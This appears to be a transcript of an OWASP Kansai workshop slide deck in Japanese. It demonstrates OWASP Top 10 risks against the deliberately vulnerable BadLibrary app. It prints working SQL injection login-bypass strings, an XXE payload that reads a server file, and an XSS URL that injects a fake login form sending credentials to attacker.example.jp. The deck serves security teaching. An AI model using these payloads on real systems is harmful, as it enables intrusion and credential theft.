Upgrade to Pro — share decks privately, control downloads, hide ads and more …

OWASP TOPのリスクを 体感してみよう/OWASP_Kansai_20180427HandsOn

OWASP TOPのリスクを 体感してみよう/OWASP_Kansai_20180427HandsOn

「ハンズオンーOWASP TOP 10のリスクを体感してみよう」にてチャプターリーダー はせがわようすけさんより発表頂いたプレゼンテーションです

341ac9f717b3904d6674784c0fcd9cf2?s=128

OWASP Kansai

April 27, 2018
Tweet

Transcript

  1. OWASP Kansai 2018-04-27 #owaspkansai 【ハンズオン】 OWASP TOP 10のリスクを 体感してみよう OWASP

    Kansai はせがわようすけ
  2. OWASP Kansai 2018-04-27 #owaspkansai 今回のハンズオンのゴール • OWASP TOP 10を知る •

    OWASP TOP 10に載ってるもの(のうち代表的な もの)を体感してみる • あとで自分たちでも試せるようになろう ←重要 • ツールの詳しい使い方などは説明しません 2
  3. OWASP Kansai 2018-04-27 #owaspkansai OWASP - Open Web Application Security

    Project OWASPは、ウェブアプリケーションセキュリティ をとりまく課題を解決することを目的とする、国 際的なオープンなコミュニティです。企業や国 境の壁はもちろんのこと、あらゆる専門知識と経 験を持ったスペシャリスト、またユーザのコラボ レーションにより、自由に参加できる開放された 活動を展開しています。 3 同組織の本部は、2001年に設立され、2004年4月21日よりアメリカ合衆国にて政府 認定NPOとして組織運営しています。現在、全世界に120以上の個別テーマのプロ ジェクト、さらに200以上の拠点にチャプター(支部)があります。 OWASPは、企業会員制度、企業スポンサーシップ、個人会員制度による寄付など によって成りたっています。
  4. OWASP Kansai 2018-04-27 #owaspkansai 国内でのOWASPの活動 • OWASP Japan - 2011年より活動。国内全体をカバー

    • 国内には多数のOWASP Local Chapter 秋田 / 福島 / 北信越 / 関西 / 九州 / 名古屋 / 名取 / 沖縄 / 仙台 • OWASP Kansai - 2014年より関西で活動 • 自分たちの直面するWebセキュリティの問題を自分たちの手で解決したい という思いから活動をスタート • それぞれが自分たちのできることを持ち寄ることで、みんなでWebをよくして いく 4
  5. OWASP Kansai 2018-04-27 #owaspkansai OWASP TOP 10 • 世界中でもっとも活用されているOWASPによる成果物のひとつ •

    https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Proj ect • インパクトのある脆弱性やセキュリティ上の問題点をリスト アップしたもの • 3-4年ごとに内容を見直し。2017年11月に現バージョンが 公開 • OWASP TOP 10日本語版 • https://www.owasp.org/images/2/23/ OWASP_Top_10-2017%28ja%29.pdf • OWASP Japanの有志による翻訳 5
  6. OWASP Kansai 2018-04-27 #owaspkansai OWASP TOP 10 A1:2017 - インジェクション

    A6:2017 - 不適切なセキュリティ設定 A2:2017 - 認証の不備 A7:2017 - クロスサイトスクリプティング A3:2017 - 機微な情報の露出 A8:2017 - 安全でないデシリアライゼー ション A4:2017 - XML外部エンティティ参照 A9:2017 - 既知の脆弱性のあるコンポー ネントの使用 A5:2017 - アクセス制御の不備 A10:2017 - 不十分なロギングとモニタリ ング 6
  7. OWASP Kansai 2018-04-27 #owaspkansai A1:2017 - インジェクション • 「攻撃者によって細工された〇〇が、意図しないかたちで△ △の一

    部として挿入・解釈される」というタイプの脆弱性各種のこと • SQLインジェクション • クロスサイトスクリプティング • HTTPヘッダーインジェクション • OSコマンドインジェクション • LDAPインジェクション • その他… • 2013年版OWASP TOP 10から引き続き1位 • 発見件数が多い、攻撃された時の影響が大きい 7
  8. OWASP Kansai 2018-04-27 #owaspkansai A2:2017 – 認証の不備 • ログインやセッション管理に関連する問題のこと •

    パスワードリスト攻撃への対応がされているか • 「password」のような弱いパスワードを排除できる仕組みがあるか • セッションIDは推測不可能なものになっているか • ログアウトすることでセッションはきちんと破棄されるか • その他…
  9. OWASP Kansai 2018-04-27 #owaspkansai A3:2017 – 機微な情報の露出 • 機密情報が見られてしまう問題 •

    OWASP TOP 10では • 暗号化/ハッシュ化されるべきデータや通信路が暗号化されていない • 暗号化されていても暗号化方式が弱い という観点で書かれている • 暗号化に限らず、機密にすべき情報が見えている場合は問題 9
  10. OWASP Kansai 2018-04-27 #owaspkansai A4:2017 – XML外部エンティティ参照 • XMLを処理するときに、XMLの持つ外部実態参照という機能を悪用 する脆弱性

    • サーバー内部のローカルファイルの漏洩 • 同一ネットワークの内部サーバーのWebコンテンツの漏洩 • XML処理系に負荷をかけるDoS • XML処理系を通じたリモートコード実行 10
  11. OWASP Kansai 2018-04-27 #owaspkansai A5:2017 – アクセス制御の不備 • 認証やアクセス制御に不備があり •

    本来アクセスできないはずの機能やコンテンツにアクセスできてしまう • 権限がなければ本来利用できてはいけないはずの機能が利用できてしまう といった類の脆弱性 • よくある例 • 認証なしで /admin や /debug のような管理ページ、デバッグ機能にアクセ スできる • 管理機能のHTMLページは認証があるけれどAPIには認証がない • 複雑な権限モデルのアプリケーション(社員・課長・部長・事業部長みたいな グループウェアなど)で期待される権限を越えて操作ができる 11
  12. OWASP Kansai 2018-04-27 #owaspkansai A6:2017 – 不適切なセキュリティ設定 • セキュリティ上の問題を起こすような設定ミス、デフォルトのままの設 定など

    • 各種ソフトウェアをデフォルト設定のまま利用したために安全でない設定に なっている • エラーメッセージに機密情報が含まれている • デフォルトのユーザーアカウントやパスワードが設定されている など • 見たことのある実例 • ブラウザーのXSS保護機能を無効にしているレスポンスヘッダーの指定 X-XSS-Protection: 0 • つづりを間違えて Set-Cookie: session=XXXXX; http-only と記述 12
  13. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング • クロスサイトスクリプティング •

    「A1:2017 – インジェクション」に含有されるにも関わらず単独項目として記 載 • それだけ発見件数も多く注目に値するということ • 近年ではDOM-based XSSも増えている 13
  14. OWASP Kansai 2018-04-27 #owaspkansai A8:2017 – 安全でないデシリアライゼーション • デシリアライゼーション JavaやPHPなどのプログラミング言語において文字列やバイト列か

    らオブジェクトを復元する機能のこと • 外部由来のデータを元にデシリアライゼーションを行ってしまうこと で、任意コードの実行などが行われてしまう脆弱性 • 2017年版で初めてOWASP TOP 10にランクイン 14
  15. OWASP Kansai 2018-04-27 #owaspkansai A9:2017 – 既知の脆弱性のあるコンポーネン トの使用 • すでに脆弱性がすでに見つかっているライブラリやフレームワーク、

    ミドルウェアを使い続けるといった問題 • 広く使われているフレームワークでは、脆弱性が発見された瞬間に 世界中で攻撃が多発することも多々ある • 運用体制を作る • 使用しているコンポーネントの把握 • 不要な機能やコンポーネントの除去 • 使用コンポーネントの脆弱性が発見された時の対応体制 15
  16. OWASP Kansai 2018-04-27 #owaspkansai A10:2017 – 不十分なロギングとモニタリング • ログの記録や監視が適切に行えていないという問題 •

    攻撃を受けたときも早い段階で気づくことができるようログを記録し監視を 行ったり、また攻撃を受けたあとにもどういう被害があったのかをきちんと解 析するにはログを十分に残す必要がある • 外部からの脆弱性診断などでは発見されにくい • 正常に運用が行えているあいだは問題になりにくい • インシデントが発生したときに致命的な問題となる 16
  17. ハンズオン準備 17

  18. OWASP Kansai 2018-04-27 #owaspkansai ハンズオン準備の流れ 1. node.jsのインストール 2. やられWebアプリ「BadLibrary」のインストール 3.

    Javaのインストール 4. OWASP ZAPのインストール
  19. OWASP Kansai 2018-04-27 #owaspkansai node.jsのインストール 1. https://nodejs.org/ja/ から「LTS版」をダウンロードしてインス トール 2.

    慣れてる人はLTSでなくてもOK。nvmやnodistでももちろんOK 19
  20. OWASP Kansai 2018-04-27 #owaspkansai やられWebアプリ「BadLibrary」のインストール • 今回のハンズオン対象 • 脆弱性を気軽に試すことができる脆弱な Webアプリケーション

    • アプリケーションの規模がシンプルで機 能把握が行いやすい • 動作させるまでが簡単 node.jsのみ。Mac / Windows / Linux で動作。VM不要 • 1台のサーバーに対して複数人で脆弱性 診断を行っても環境が壊れない (集合研修などにも向いている) 20 https://github.com/SecureSkyTechnology/BadLibrary
  21. OWASP Kansai 2018-04-27 #owaspkansai やられWebアプリ「BadLibrary」のインストール 1. 「BadLibrary」一式をダウンロード https://github.com/SecureSkyTechnology/BadLibrary/archive/master.zip をダウン ロードしてzipを展開

    (慣れてる人は でもOK) 2. srcディレクトリ内でコマンドプロンプトを開き以下を実行する 「ERR: ...」が出なければインストール完了。「WARN: ...」は出ます 21 C:¥tmp¥BadLibrary¥src>npm install git clone https://github.com/SecureSkyTechnology/BadLibrary
  22. OWASP Kansai 2018-04-27 #owaspkansai 補足: npm installでエラーが出たとき 22 > libxmljs@0.18.7

    install C:¥Users¥user¥Documents¥0427¥src¥node_modules¥libxmljs > node-pre-gyp install --fallback-to-build --loglevel http node-pre-gyp http GET https://github.com/libxmljs/libxmljs/releases/download/v0.18.7/node-v51-win32-x64.tar.gz node-pre-gyp ERR! UNCAUGHT EXCEPTION node-pre-gyp ERR! stack Error: Cannot find module 'block-stream' node-pre-gyp ERR! stack at Function.Module._resolveFilename (module.js:470:15) node-pre-gyp ERR! stack at Function.Module._load (module.js:418:25) node-pre-gyp ERR! stack at Module.require (module.js:498:17) (略) npm ERR! node v7.2.1 npm ERR! npm v4.0.5 npm ERR! code ELIFECYCLE npm ERR! libxmljs@0.18.7 install: `node-pre-gyp install --fallback-to-build --loglevel http` npm ERR! Exit status 7 (略) { "name": "badlibrary", "version": "1.0.0", (略) "license": "MIT", "dependencies": { "block-stream": "0.0.9", "libxmljs": "^0.18.7", "sqlite3": "^3.1.8" } } "block-stream": "0.0.9", src/package.jsonに1行追加してください→ この1行を 追加
  23. OWASP Kansai 2018-04-27 #owaspkansai BadLibraryの動作確認 1. 以下のコマンドでBadLibraryを起動させる 2. ブラウザーを起動し http://localhost:8888/

    にアクセスする - BASIC認証のユーザー名、パスワードには 「user」「pass」を入力 23 C:¥tmp¥BadLibrary¥src>node app.js -p 8888 Starting httpd on port 8888 user pass この画面が表示 されればOK 今回のハンズオンでは忘れずにつけて! デフォルトのポート8080はZAPも使うので。
  24. OWASP Kansai 2018-04-27 #owaspkansai BadLibraryの設定ファイル • src/config.jsonファイルを編集 することで、有効にする脆弱性を 指定できる •

    デフォルトでは全ての 脆弱性が有効になっている 24 { "global" : { "basic" : "user:pass" }, "vulnerabilities" : { "sqli" : ["auth", "search", "blind"], "xss" : ["reflect", "dom"], "session" : ["no-refresh", "no-httponly", "serial"], "xxe" : true, "csrf" : true, "expose" : ["dirindex", "admin", "contact"] } } BASIC認証のユーザー名、パスワード 含める脆弱性
  25. OWASP Kansai 2018-04-27 #owaspkansai Javaのインストール 1. 「Java SE Runtime Environment」をダウンロード

    http://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads- 2133155.html 2. 「Accept License Agreement」にチェックを入れ、環境に合わせ たバージョンを選ぶ 25
  26. OWASP Kansai 2018-04-27 #owaspkansai OWASP ZAPのインストール • OWASP ZAP –

    ローカルプロキシー • 自分のPC上で動くプロキシーツール。ブラウザーとWebサーバーの通信を 記録、変更できる • 以下のURLからダウンロードして画面の指示に従いインストール https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project 26
  27. ハンズオン

  28. OWASP Kansai 2018-04-27 #owaspkansai OWASP TOP 10 A1:2017 - インジェクション

    A6:2017 - 不適切なセキュリティ設定 A2:2017 - 認証の不備 A7:2017 - クロスサイトスクリプティング A3:2017 - 機微な情報の露出 A8:2017 - 安全でないデシリアライゼー ション A4:2017 - XML外部エンティティ参照 A9:2017 - 既知の脆弱性のあるコンポー ネントの使用 A5:2017 - アクセス制御の不備 A10:2017 - 不十分なロギングとモニタリ ング 28
  29. OWASP Kansai 2018-04-27 #owaspkansai A1:2017 – インジェクション • 貸出履歴の検索機能にSQLインジェクション ①

    BadLibraryに メールアドレス:akita@example.jp、暗証番号:1234でログ イン ② 検索語句に通常の語句と「' OR 1=1;--」を入れた時の違いを見てみましょ う 内部で実行されるSQL 29 select * from (history inner join books on history.bid=books.id) inner join users on history.uid=users.id where books.title like '% %' and uid = 21 ORDER BY date1; ' OR 1=1;-- { "vulnerabilities" : { "sqli" : ["search"] } } config.json
  30. OWASP Kansai 2018-04-27 #owaspkansai A1:2017 – インジェクション • ログイン画面にSQLインジェクション •

    認証なしでログイン可能 ① BadLibraryに メールアドレス:chiba@example.jp、暗証番号:「' OR 1=1);--」でログイン 内部で実行されるSQL 30 SELECT * FROM users WHERE (mail='chiba@example.jp') and (pass=' '); ' OR 1=1);-- { "vulnerabilities" : { "sqli" : ["auth"] } } config.json
  31. OWASP Kansai 2018-04-27 #owaspkansai A2:2017 – 認証の不備 • 暗証番号が数値4桁 •

    ログイン時にセッションIDが変更されない • httponly属性がついていない 31
  32. OWASP Kansai 2018-04-27 #owaspkansai ZAPの起動 「継続的に保存せず、必要に応じてセッションを保存」を選択して「開 始」 32

  33. OWASP Kansai 2018-04-27 #owaspkansai Chromeのプロキシー設定を変更 33 ① Chromeの右上から「設定」から「詳細設定」をクリックし「プロキシ設定を開く」 を選択 ②

    「LANの設定」をクリックし「プロキシーサーバー」「LANにプロキシーサーバーを 使用する」にチェック ③ 「詳細設定」をクリックしHTTPの「使用するプロキシのアドレス」に「127.0.0.1」 を、「ポート」に「8080」を入力
  34. OWASP Kansai 2018-04-27 #owaspkansai A2:2017 – 認証の不備 ① いったんBadLibraryからログアウトする ②

    BadLibraryの/loginにアクセスした時のリクエストヘッダー Cookieを見てみる ③ akita@example.jp / 1234 でログインした時およびそれ以降のリ クエストヘッダーCookieを見てみる ④ 上記の②③で同じセッションIDが使われていることが確認できる (セッションIDがログイン前後で同じ) 34
  35. OWASP Kansai 2018-04-27 #owaspkansai A2:2017 – 認証の不備 35 ログイン前、/login にアクセスした時

    メールアドレス、 暗証番号の送信 貸出履歴画面 の表示
  36. OWASP Kansai 2018-04-27 #owaspkansai A3:2017 – 機微な情報の露出 ① メモ帳(notepad.exe)を起動 ②

    エクスプローラーからデータベースのファイル(src/libra.db)をメ モ帳にドラッグ&ドロップ ③ 文字化けしているが「...kita@example.jp1234」の文字列が確認 できる • メールアドレスと対応する暗証番号がハッシュ化されずに保存されている 36
  37. OWASP Kansai 2018-04-27 #owaspkansai A3:2017 – 機微な情報の露出 ① ログインした状態で「お問合わせ」から適当な内容を投稿する ②

    いったんログアウトする ③ http://localhost:8888/robots.txt にアクセスする ④ 怪しげな内容が…。とりあえず http://localhost:8888/contact/logにアクセスしてみる ⑤ ファイル一覧が見えるので今日の日付のファイルをクリックすると先ほどのお問い合わせ内 容が閲覧可能 37
  38. OWASP Kansai 2018-04-27 #owaspkansai A4:2017 – XML外部エンティティ参照 38 ① http://localhost:8888/adm

    in にアクセス ② 「書籍名」「入荷日」「ページ 数」「書架」に適当に値を入れ 「登録」をクリック。「登録に失 敗しました」のメッセージが表 示される ③ その時の通信をZAPで見てみ る POSTでXMLが送信されている
  39. OWASP Kansai 2018-04-27 #owaspkansai A4:2017 – XML外部エンティティ参照 39 <!DOCTYPE x

    [<!ENTITY xxe SYSTEM "config.json">]><book><title>&xxe;</title> <date>2017-12-18</date><pages>1</pages> <loc>Z-1</loc></book> 送信されるXMLを書き換えると、サーバー上の "config.json" ファイルが取得できた!
  40. OWASP Kansai 2018-04-27 #owaspkansai A5:2017 - アクセス制御の不備 ① ログアウトした状態でhttp://localhost:8888/robots.txtにアクセ スしてみる

    ② 怪しげな内容が…。とりあえず http://localhost:8888/adminに アクセスしてみる ③ 管理者しか使えない機能に誰でもアクセスできる ※BadLibraryではサーバーの再起動、書籍の登録は毎回失敗するようになっ ています 40
  41. OWASP Kansai 2018-04-27 #owaspkansai A6:2017 – 不適切なセキュリティ設定 ① http://localhost:8888/robots.txt にアクセスしてみる

    • 本来は見られたくないはずのコンテンツがむしろ明瞭になっている ② http://localhost:8888/contact/log にアクセスしてみる • ディレクトリインデックスが有効になっている 41
  42. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング ① akita@example.jp /

    1234 でログインする ② 貸出履歴の画面で貸出年月を適当に変更して検索してみる ③ URL中のパラメータdに注目(これが年月) ④ パラメータdを201606<s>abcdなどに変更して検索し、画面の変 化に着目 (http://localhost:8888/history?q=&d=201606%3Cs%3Eabcd) 42
  43. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング 43 http://localhost:8888/history?q=&d=2016%3Cscript%3Edocument.body.inn erHTML=%27%3Chr%3E%3Cform%20action=%22http://attacker.example.jp

    /%22%3E%E3%83%A1%E3%83%BC%E3%83%AB%E3%82%A2%E3%83%89 %E3%83%AC%E3%82%B9%3Cbr%3E%3Cinput%20size=30%3E%3Cbr%3E %E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%3Cbr%3 E%3Cinput%20type=password%20size=30%3E%3Cbr%3E%3Cinput%20typ e=submit%20value=%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3% 3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%27;%3C/script%3E より細工されたXSS にせログイン画面の表示
  44. OWASP Kansai 2018-04-27 #owaspkansai A8:2017 -安全でないデシリアライゼーション • BadLibraryにはこの脆弱性は存在しないので試せません… • JavaやPHPで発生する脆弱性

    • node.jsで作られたBadLibraryには組み込みにくい 44
  45. OWASP Kansai 2018-04-27 #owaspkansai A9:2017 -既知の脆弱性のあるコンポーネントの使用 • BadLibraryでは明確に古いコンポーネントというのは使われていな いので、現段階では(おそらく)この脆弱性は存在しない 45

  46. OWASP Kansai 2018-04-27 #owaspkansai A10:2017 – 不十分なロギングとモニタリング • BadLibraryではそもそもログファイルの記録などを行なっていない 46

  47. OWASP Kansai 2018-04-27 #owaspkansai 最後に • ハンズオンお疲れさまでした。変更したプロキシー設定は元に戻しておきましょう。 • 今回のハンズオンは、セキュリティリスクを体感するためのものであり、いかなる意味においても、不正アク セス行為その他不正利用を推奨、幇助するものではありません。

    • このハンズオンで得た知識を、自分が管理するサーバやアプリケーション以外に試すこと、その他不正に利 用することは、厳に禁止します。万が一、そのような行為に及んだ場合、「不正アクセス行為の禁止等に関す る法律」、「不正指令電磁的記録に関する罪」、その他刑罰法規に抵触する可能性があります。また、損害賠 償等、民事上の責任を追及されるおそれがあります。 • OWASP Kansaiは、このような責任について、一切の責任を負うものではありません。 • ハンズオンで得た知識やノウハウを、所属組織や周囲の人への教育コンテンツに活用していただくことは 問題ありません。ただし、上記のような不正利用を助長する目的での利用を行うことは厳に禁止し、教育コ ンテンツとして利用する際にも、不正利用をしてはならないことを必ず注意してください。 • また、金銭を得ることを目的に本コンテンツを利用することはご遠慮ください 。 47